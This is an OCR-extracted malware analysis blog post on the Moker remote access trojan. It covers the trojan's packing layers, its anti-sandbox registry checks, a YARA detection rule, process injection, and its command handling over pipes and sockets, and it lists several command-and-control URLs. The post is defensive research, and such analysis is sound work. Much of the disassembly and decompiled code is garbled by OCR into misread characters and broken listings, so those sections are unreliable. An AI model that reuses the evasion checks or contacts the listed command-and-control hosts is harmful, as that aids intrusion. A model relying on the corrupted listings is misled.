E2 57 D& FF 2B 57 52 IC EE 22| dEU# BRI Gl ts
4F 8B FE 2B ¥V 2B 12 &F 2B 1@ ;ﬁzwﬁﬂﬂﬁ”ﬁwﬁfnﬁb

e TIgE by é
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Address |Hex dump Dizassembly

GE 138888 =) FUSH EDX

BE 138881 51 FUSH ECH

BE13aaa2 EA BBER4CEA8 ML EDE, moker_ba.<Modu leEntryPoint »
BE13R8E7F Ez FUSH EDH

BE13AaES 21C9 #OR ECH,ECH

BE13AEER SE44EC 18 MOW ERX,OWORO PTR 55:[CESP+ECA+@718]
BE13AEAEE S3ES A4 SUE ERX,8ud

BE13EE11 EH FUSH ERX

BE13E812 2109 ®OR ECH,ECH

BE138814 G5 : SEES HMOW Cx, WORD FTR DS: [EAX]

BE13Ea17 51 FUSH ECH

BE13AA1S 83C1 1C AOD ECH,B=1C

BE13AA1E 51 FUSH ECH

BE13AAIC ES FEFFFFFF CALL 8a1z@alc

This is fixed in another step — the decoding function returns into another code fragment, that

modifies the addresses:

BR4CEEDZ
BR4CEEDE
BE4CEEDS
B84 CECEDE
BR4CEGER
BR4CEEES
BR4CECES
BE4CEESEC
BR4CEESEE
BR4CEEF 1
Ba4CEEF4
BR4CEEFA
BA4CEEFC
BEA4CEEFF
BR4CEFAL
BE4CEVER
BR4CEFAD
BE4CEF1A
HE4CEFL L

Till the new piece of code is fully revealed and ready to be called (see the fixed CALL target):

3248 81

294A 81

324AH 81

294A 81

R e
[y Loyl g}
L] )

a

—_

HOU EDT, OWORD FPTR DSz CEDL]
LEA ECH,DWORD PTR OS:CEOI+E:1C1]

ic
S0S2E 2veCEEd LEA ECK,DWORD FPTR DS: [EER+EHEC27]

SUE ECH,EDR
MOY DWORD PTR D5: [EDE+E511,ECH
LERA ED,OWORD FTR DS:CEDI+B431]

21
2028 SBEEFFFLER ECH,OWORD PTR DS:[EEW-B8x11AS]

SUB ECH,ED:R
MOU DWORD PTR D5: [EDME+ER11,ECK
LER EDX,OWORD PTR DS:CEDI+BxSA]

=15
SDSEB DzedEod LER ECH,DWORD PTR DS: [EBR+8x£8021

SUE ECH,EDR
MOU DWORD PTR D5: [EDR+E:11,ECH

2097 S1886AE LEA EDX,OWORD FTR DS:[CEDI+E4E1]
2028 S9BFEFFFLER ECH,OWORD PTR DS:[EEN-B4975]

SUE ECH,EDH
MOU DWORD PTR DS: [EDM+Ew11,ECH
POPAD

LERLE

BETH Bzd | _

A6 1 28888
A6 1268881
BE 126662
BE 126867
BE 126862
86128888
A6 1 3888E
aai1zaall
BE1zEa12
AE126614
BE126E817
BE126612
agizeale
aai1zaEalic

When the modifying function returns, execution falls into the line that performs a jump into

the new

BE4CF1Z2
BE4CF1ZS

BE4CF12H

AAACTA
4

=5

=3

ER BEER4CHE
Ez

21ce

SE448C 1@
33ES a4

=15

21ce
LG 2RAS

=3

2ac1 1c

gl

EZ BBSE3AREA

code:

FUSH EDX

FPUSH ECH

HMau E0H, moker_ba. <Modu leEntryPoint >
FUSH EDX

®OR ECH,ECH

HMaL ERE, OWORD PTR 55: CESP+ECH+Ex 18]
SUE ERH, Bnd

FUSH ERX

#OR ECH,ECH

HMal CHX,WORD PTR D05z CEAX]

PUSH ECH

AOO ECH, @x1C

FUSH ECH

. |ED

. | RS 16

» BAL VA1V4REE
(=]

CALL moker_ba. 88405620

IN ERH,. DR

TEST AL, Bx16

MOU ERx. OWORD PTR DS: [Ex48177E]
JMF ERX

no A

05: (88481 7 7R ]=60E1 208R:
E Q= EAEEEARAR

Address |Hex dump Dizassenbly

BE 1368 g2 FUSH EDx

BE13a8E1 Ei FUSH ECH

BE 138882 EA B8ER4Cas MO EDX, moker_ba.<Modu leEntryPoint >
BE 13887 Bz FUSH EDH

The revealed code makes another layer — again allocating, decrypting and calling code.
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BE 1 2EEEE
BE12688a1
BE 1 2EaE2
BE 1 2E8E7
BE1286R2
B3 1 2E8EH
B3 1 2E8EE
Ba126a11
BE1zEa12
BE12E814
BE13Ealy
BE1zEa1s
GE12E81E

BE13E821
Ba1z8822
BE 138823
BE 128825
Ba1388:27
BE 128820
BE 128828
B813882E
BE13E882F
GE 1 2EE36

[FEF TR
BE 128837
BE1268620
BE 128830
BE 128846
BE126643
BE 138846
BE 128845
BE126649
BE 138840
GBE12E84F
BE126656
BE 128853
BE 128857
BE 128855
GiE 1 2EEES

[FEEEEY
BE 138861
88138854
GiE 1 2EEEE

B81388650
BE12E8s0
B3 1 2E885E
B813885F
BE 138872
BE 128875
BE136887E
BE12887E
BE12887E
[E12E621

4 [l

=]

=3

EA BBER4CHE
52

a1ce

SB448C 1@
S3ES B4

ca

21ce
[=L=HE==n

E1

23acl 1c

E1

ES BEES2ABE

23C4 a4
BFEG4E ES
=1s)

E1

=12)

ES VI4AZA0E
22032

SBSE E2

2BFS 14
E2 BREGZ9GE8
=]

FUSH ED:
PUSH ECH

MOV EDE, moker_ba.<Modu LeEntryPoint

FUSH ED
AOR ECH,ECH

MOU ERX, DWORD FTR S5: [ESP+ECK+E:1@]

SUE ERK, Bxd
FUSH ER:
wOR ECH,ECH

MOW C¥, WORD FTR DSz [EAX]

FUSH ECH

AOO ECH,@=1C
FUSH ECH

CALL moker_ba.
FOF ECH

FOF EOX

BE40E620

FUSH DWORD FTR DS: CEDM]

FOF OWORD FTR

AOO EOX, B

FUSH ERX

AOD ERK, &= 1C

FUSH ECH

FUSH ERX

FUSH EDH

CALL maoker_ba.
OF ERAX

DWORD FPTR
OWORD PTR
DWORD FPTR
DWORD PTR
EZI, DWORD
EEF, DWORD
EEX

OWORD PTR
OWORD PTR
FOF EDI
ADD_ESP, Bued

DSz [CEAX]

BA4CO2EE

DS CEAR+ER4], EBX
DO5: CERX+ER 161, EOT
O5: CERM+E14],ESI
O5: CEAX+Ex 121, EEF
PTR DZ: [EAX+E41C]
FTR DS: [EDX]

0Z: [EAR=+E:2]
05: [EA=+E:C]

H
MOVEX ERM,.BYTE PTR DS: [ESI-8x1A]

FUSH ERX

FUSH ECH

FUSH ESI

CALL moker_ba.
MO ERH, EBX
Mal ED, OWORD
AOO EBX,ESI
SUE EBX,EEF
CALL ESI

SUE ESI,ExiC
FUSH EDI

FUSH ESI

MO EBX, DWORD
Mall ECH, OWORD
Mal EDx, OWORD
MOL EDI, DWORD
Mall EBF, ODWORD

BE404A02
FTR DS:[ESI-@x12]

OS: [ESI+EM4]
DS: [ESI+@ExE]
DS: [ESI+@xC]
O5: [ESI+Ex1E]
D5: [ESI+E=15]
O5: [ESI+Ex14]

MO ESI,DWORD PTR
CALL moker_ba. BA4CEADE
RETH

moker_ba. <Modu leEntryFoint >

moker_ba. <Modu leEntryFoint >

moker_ba. {Modu leEntryPoint »

call WirtualAlloc
kernel32. FGBESC4S
kernel3z2. FEEEICAE

kernel32. FEBESC4E
rmoker_ba.
rmoker_ba.
rmoker_ba.

copy the
kernel32. FEBEZC4S
BE4CERBE

BE4052C4

rmoker_ba.

rmoker_ba.

kerne |22, FEEESC4E
kerne |22, PEEEIC4E
kerne |22, FEEESC4E
kerne |22, FEBESC4E

“Modu leEntryFPoint >

“Modu leEntryFoint >
“Modu leEntryFoint >
encrypted chunk

into the allocated mem.

moker_ba. <Modu leEntryFoint >

decrypt copied

moker_ba. <Modu leEntryFoint >

moker_ba. B84052C4
call the

moker_ba. B84CERBE

moker_ba. 88481 14F

call WirtualFres

decrypted code

ESI=BE14881C

Address |Hex dump Dizsassembly Comrent

HE14EE1C =15 FUSH EEF moker_ba. 88405204
HE14EE10 S9EE HMOU EEF,ESF

HE14BE1F S3EC 14 SUB ESP,@umid

HE 148822 15| FUSHAD

HE 148823 C745 F4 BEAEGEET MO DWORD PTR S55: [EBP-84C]. OxE

BE 148820 2630 4F1148686 § CHP BYTE PTR DS:[Ex48114F1, BnE

BE148631 Y5 14 JHE SHORT BBld48847

HE 148833 SH B84 FUSH Bud

HE 148835 558 4B114888 FUSH Bx48114E

BE14883A 558 148268888 FUSH BuZ214

BHE 1 4EE3F 58 52114888 PUSH Bu4@1152 HSCII "97~3el e
BE 1 4EE44 ED IN ERH, D I-0 command

The code chunks that provide some real functionality are always deployed via this type of
proxy — that makes execution flow more complicated.

Functionality

The dropper starts execution from the defensive checks, ensuring that it is not run in the
controlled environment. The following registry keys are searched:

"HKEY_LOCAL_MACHINEN\HARDWAREN\ACPIN\DSDT\\VBOX__"

"HKEY_CURRENT_USER\\Software\\Trusteer\\Rapport"

"HKEY_LOCAL_MACHINEN\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall"
-> SysAnalyzer
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If all the checks passed, the application reads it's own file from the disk and searches there
for some typical markers. An example of the search:

BB146645 | B9cE HOW EDH,EAR
BE14664E | S3F9 6@ CHP ECH, G:é
BE14804E [+ 76 35 JEE SHORT B@14G08E

21232 30FF242E |CHMP DWORD PTR DS: [EAX], B:2B24FF20
A6148855 |« 75 29 JHE SHORT GE146631

2172 @4 92C104 CHP DWORD PTR DS: [EAR+E:41, Ax 230060192
B814885F .- -75 28 JHE- SHORT @a148831
A 148861 {BFBE?S [} MOWEX EDILBYTE PTR DOS: [EAX+833]
88148865 g0ya a9 LER ESI.ODWORD PTR DOS:[EAX+E3]

4 |l
Jump is taken

Address |Hex dump ASCII

AEZEEEAE[ 40 SA 28 88|61 00 68 80|64 BB 18 88| FF FF 88 88| MEZC.8...e. k. ..
BESEEE1E( 48 Ol B8 98|60 00 B8 89| 40 00 BE 88| 80 00 BE 88| E8...... Booooooo
BEISSEEZE( B8 B0 B8 B8| 00 G0 BE 88| B0 B0 BE BE| B0 B0 BE BE| ... esessanannns

BESEEESE| GO PO DR 00| GO PO B 00| GO BE BE B0 S0 DO BE BO| ... ........ Gure
BESEEE4E| BE 1F EA DE|G@ B4 B3 CO|21 BE Bl 4C|CD 21 E4 62| A¥|A.4=t56L=tTh
BEZERECE[£3 72 2@ 7O| 72 EF EF re|6l €D 2@ £3| &1 £E EE EF| i= progeam canno
BOSEEEEE| 74 20 £2 £C|28 72 7S EE| 28 £3 EE 20| 44 4F SI 26|t be run in DOS
BESEEETE| S0 EF £4 £E|ZE B0 BA 24|60 GO DO OO GO OO BE 00| pode. . S........
BESSEESE( S0 45 OB GB| 40 Bl B3 0| SE C2 E1 4C| 0B 0O BG 06| PE..LGw. kwl. . ..
BESEEE0E| B8 BE B9 00|EG B9 BF 91| GE Bl Bl 47|09 SC B8 90| ....0.%07005. ..

The important thing is, those markers are present in the outermost layer — the original PE file
(not the unpacked one). Thanks to this feature, knowing them allowed to create a very
simple YARA rule to identify Moker:
rule MokerTrojan
{
strings:
$key = {3D FF 24 8B 92 C1 D6 9D}
condition:

IsSPE and
all of them

}

The mentioned markers are used as indicators, after which the encrypted CnC address is
stored.

Another feature, typical for Moker is mutex in the following format:

"Global\\a®bp-<Machine_ID>"
The mutex prevents the application from being run more than once.

After the environment checks are passed, Moker unpacks the shellcode, that has capabilities
of a downloader, and injects it (along with the initial PE file) into svchost.

Stage 2

If the main DLL was successfully downloaded by the Stage 1, it is being further injected in
the applications. Example — Moker DLL injected into jusched (Java Update Scheduler):
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RN R | RN L e

BEICO8EE | BEEE2000
BE0EEEE | BAREFBEE

HEIEREAD | BADELA0E| jusched FPE header
HEIE 18A0H| BANSEA0E| jusched tert code
HEAZEEAN | BAD1AAEE| jusched .rdata imports
HEASHEALD | BADEEADE | jusched .data data
HEASEEAE | BA0]1 4808 jusched IErC rESOUrCES
BEASAEEE | AABESEAE| jusched “reloc relocat ions

BERSE08E | BABEFBO0G
B1630888 | BREE 1 ARG
A1 730888 | BAEE2AEE
B17EFEEE | BREE1 ARG
A1 7IREEE | BRRRIARE
H1B9EEEE | BRRSAEE

stack of thread DEBEEZZC

Map B@o041802
Friv BAAZ18604
Imag BlE01E6Z
Imag BlE01EEZ
Imag B1801862
Imag B18@1862
Imag Glaaiasz
Imag B1l8@188z2
Map B@o041802
Friv BEAAZ18604 Rl

Friv 88021104 Bl Guarded
Friv 88021104 Bl Guarded
Map B@041804 Rl

Priv BAE216845 RUWE

H

=

IDmmDnmImmImnm

B1CCOBEE
B1CCESEE
G101 688
B10286888
B103E888
B105EEEE
B1ES0BEE
H1ESEGEE
B1FS0GEE
B1FIFEaEa
Bz150688
BZ15EBAA
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This module is responsible for all the malicious actions performed by the malware — also, it
actively communicates with its CnC. Below you can see a sample POST request sent from

inside the injected DLL:

H1BASFES =4

52 ZF34BCA]

8E35 CCFCFFFF
B1ERSYEE =15 ]
B1BASTEL EZ ERFSFEFF
B1BASFEE 22C4 28
B1BASFES 2945 F@
B1BASFEC 2370 Fa @&
B1BASFFE |~ 75 1F
B1ERETT2 CrYes BCSCEBCAL 8488
B1ERSTVC FF15 &3E2BEA1
B1ERSTE2 A3 BE35CECA]
B1BASFEY |~ E9 21A488E8E
B1BASFEC |~ E9 SCA4EEEE
B1BASFI1 C&35 SCFCEFFFE 42
B1BASFI2 C&25 90FCFFFF &F
B1BASFIF C&25 9EFCFFFF &E
B1ERASTRE CEe25 9FFCFFFF 74
B1ERASTAD C&35 ABFCFFFF &5
B1ERSTE4 C&35 AIFCFFFF &E
B1ERASFEE C&25 AZFCFFFF 74
B1BASFCZ C&e25 A2FCEFFF 20D
B1BASFCS C&25 RA4FCFFFF 54

4

PUSH EDX

PUSH 1BC3437

MOV ERH,. OWORD FTR 55: [EEP-3341
PUSH ERX

CALL 81E9ShASH

ADD ESP, 2@

MOU DWORDE PTR S5: LEEP-181, ERX
CHP DWORDE PTR S5: [EEP-1@1, 5
JHE SHORT B1BASFI1

MOY DWORD PTR DS: [1BCSCECT, 4
CALL DWORD PTR D5: [1BEEZGE]
MOU DWORD PTR DS: [1BCSCES], ERR
JHMF B1EASCIO

JMP @1BASCIO

MoU BMTE PTR S5:[EBF-2641], 42
HMou BYTE PTR 55: [EBP-2621, &F
Mou BYTE PTR S5: [EBP-2621, 5E
Moy BYTE PTR SS:[EEF-3611, 74
Mou BYTE FPTR 55: [EEF—36@1, 55
Mou BYTE FPTR 55:[EEF-35F1,cE
Mou BYTE FPTR S5:[EEF-3SE], 74
Mou BYTE PTR S5:[EEBP-2501, 20
HMOU BYTE PTR S5: [EBEP-2EC], E4

ASCII "POST™

kernel32.GetLastError

Stack 55:[A248F1231=8RCCABES
ERx=BACCARRS

B243F244
AEBaaaaa

B243FERA
B243FaR4

If we try to dump the injected DLL, we can see, that it's imported table has been destroyed —
all the names of the DLLs and imported functions are erased. However, using a dedicated

BIBE343?‘HSEII TROST™

tool | was able to recover it (see more here).

The DLL provides various features typical for RAT (they didn’t chang from the latest analysis

in 2015, provided here).

RSCII "<nnnnB4722.php*page=TESTMACHINESL 1_44303634%=s=11%p=2. Bker=13.8"
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https://github.com/hasherezade/pe_recovery_tools/tree/master/imports_unerase
https://www.youtube.com/watch?v=FRn121kK92E
https://breakingmalware.com/malware/moker-part-2-capabilities/

Code of the core DLL is written in a decent way, suggesting professionalism of the authors.

However in contrary to the dropper, the obfuscation used here is rather simple. Most of the
strings and API calls are not obfuscated, or obfuscated in a trivial way.

Looking inside the code, we can see references to the registry keys, observed during
behavioral analysis, i.e.:

get_div_path{&ValueHame, &FileHame, {int)lpThreadParameter};
if { sub 4983AB{{int)&FileHame, {int)&lpBuffer, &cbbata, dwBytes) )
{
while { hDbject }
{
duBytes = L242888;
if { read_from_req{"6", (LPBYTE)1pBuffer, &duwBytes) }/f 6 -> the key with a PE file
chData = dwBytes;
else
set_reg _value{"6", (BYTE =)}lpBuffer, chbata)};
hFile = (HAMNDLE)-1;
hFile = CreateFileW{&FileMamne, Bx80000088, Fu, 8, 3u, Bx86u, B8);
if { hFile *= (HAHDLE}-1 )
{
uS = GetFileSize(hFile, B);
if ( us )

if ( vS *= chbhata )
{
CloseHandle(hFile);
DeleteFileW(&FileHame) ;
hFile = (HAHDLE)}-1;
¥
¥

The DLL communicates not only with the CnC, but also with it's other injected modules,
using local sockets and named pipes. An example below — starting a local socket for
listening:
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B8LAZLAB Hor eax, eax
884A24AA mov [ebp+name.sa family], a=x
B04A24B1 xor ecx, BCX
804A24B3 mov dword pty [ebp+name.sa _data], ecx
8A4A24BY mov dwvord pty [ebp+name.sa_data+h4], ecx
B04AZHEBF mov dword ptr [ebp+name.ca_data+8], ecx
BO4AZHCS mov word ptr [ebp+name.sa_data+8Ch], cx
BO4AZHEE moOvZE edx, [ebp+arg_#a]
804A24D0 8 push edx ; hostshort
aeua24b1 call ds:htons
884A24D7 mou word ptr [ebp+name.sa data], ax
B04A2ZL4DE mou eax, 2
BA4A24E3 mov [ebp+name.sa_family], ax
A04AZ4EA push offset 3127 8 8. 1.8 ; "™M27.8.8.1"
BO4AZHEF call ds:inet_addr
B04AZLHFS mov dword ptr [ebp+name.sa_data+Z], eax
B04AZ4FB push 18h ; namelen
884A24FD lea ecx, [ebp+name]
884A2583 push ecx ; name
804A25 84 mov edx, [ebp+lpParameter]
804A258A mov eax, [edx]
B04AZ25BC push eax .
@84A258D call ds :bind
@84A2513 cmp eax, OBFFFFFFFFh
AA4AZ516 jz loc_4AZ2SEL
Y

I

B04AZ251C push BFFh ; backlog

804A2521 mov ecx, [ebp+lpParameter]

88472527 mov edx, [ecx]

88472529 push edx 5 S

884A252A call ds:listen

A84A25308 cmp eax, BFFFFFFFFh

The commands read from the ipe are parsed and executed:

Is
#*={_DWORD =)1lpHem = Buffer;
if { *ReadFile{hFile, {char =)1lpHem + 4, Buffer - 4, &HumberOfBytesRead, @) || HumberOfBytesRead %= Buffer - 4 )

{

check_heap{1lpilem};
DisconnectMamedPipe{hFile};
CloseHandle{hFile);
ExitThread(@);

¥

deploy_command{hFile, {int)lpHem)};

FlushFileBuffers{hFile};

check_heap{1lpilem};
DisconnectHamedPipef{hFiled:

Basing on the command id, malware can be requested over pipe to execute some command

or to create and save a screenshot:
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A84976DA
B04976DA loc_ 4976DA:
aa4976DA mouzx eax, [ebp+command_num]

aa4976DE cmp eax, 1
884976E1 jnz short loc_4976F1
L
il s

BA4976F1
B04976F1 loc_4976F1:
a84976F1 mouzx edx, [ebp+command_num]

aa4976F5 cmp edx, 2
B04976F8 jnz short loc_ 497706
Y

884976E3 mov ecx, [ebp+to_execute]| |A04976FA mov eax, [ebp+hFile]
884976E6 push BCX Ae4976FD push eax ; hFile
8a4976E7 call exec_command BB4976FE KKall save_screenshot
a84976EC add esp, 4 084977083 add esp, 4
884976EF jmp short loc_ 497786

U A

Among the interesting features of this part is, it also provides access to it’s features via
simple GUI. It may be used for local tests, or. in case if the attackers prefer to access the
victim machine via Remote Desktop.

ug = B8;

strocpy(ClassHame, “button®™);

hWnd = CreateWindowExzA{B8x2080u, "edit", 08, 0x50020000u, 10, 18, 530, 25, hWndParent, @, hlnstance, @);

1pPrevindFunc = {(WHDPROC)SetWindowLongA{hWnd, -4, {LONG)sub_AhA2C50);

DragAcceptFiles{hWnd, 1);

duword_4C5158 CreateWindowExA{@, ClassHame, "select”, 0x50030000u, 55%, 18, 85, 26, hWndParent, @, hInstance, B8);
dword_4C515C CreateWindowExA{@x280u, "listbox™, @, 0x50230000u, 10, 28, 530, 125, hWndParent, @, hlnstance, @);
dword_4C5168 CreateWindowExA{A, ClassHame, "execute”, Bx500308000u, 555, 138, 85, 26, hWndParent, @, hInstance, 8);
dword_4C5164 createWindowExA{A, ClassHame, “screenshot™, @x5680830800u, 555, 165, 85, 26, hWndParent, 8, hInstance, @);
duword_4C5168 CreateWindowExA{@, ClassHame, "Stopt!", @x5688368068u, 555, 288, 85, 26, hundParent, @, hlnstance, 8);

CnC servers

List of the found CnC servers (one address per one sample):

http://bitmixc.ml/nnnn04722.php
http://bitmixc.ml/msnwiwoqg25.php
http://matthi.tk/abb6a388.php
http://sally33.cf/23mmmdw3.php
http://siri5.ml/www9.php

Conclusion

Moker is a rare malware, but written by very skilled authors. Compilation timestamp of the
core module is 2015-05-03 00:40:11. This suggests that since its moment of appearance, still
the same samples are in circulation, only they are repacked by different packers. This fact
leads us to the conclusion that the tool have been produced and sold on black market in
2015, after that possibly abandoned by the original developers.
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Appendix

http://blog.ensilo.com/moker-a-new-apt-discovered-within-a-sensitive-network — Ensilo on
Moker (from 2015)

https://breakingmalware.com/malware/moker-part-1-dissecting-a-new-apt-under-the-
microscope/ — part 1

https://breakingmalware.com/malware/moker-part-2-capabilities/ — part 2

http://www.msreverseengineering.com/blog/2015/6/29/transparent-deobfuscation-with-ida-
processor-module-extensions — deobfuscating Yebot

This was a guest post written by Hasherezade, an independent researcher and programmer
with a strong interest in InfoSec. She loves going in details about malware and sharing threat
information with the community. Check her out on Twitter @hasherezade and her personal
blog: https.//hshrzd.wordpress.com.
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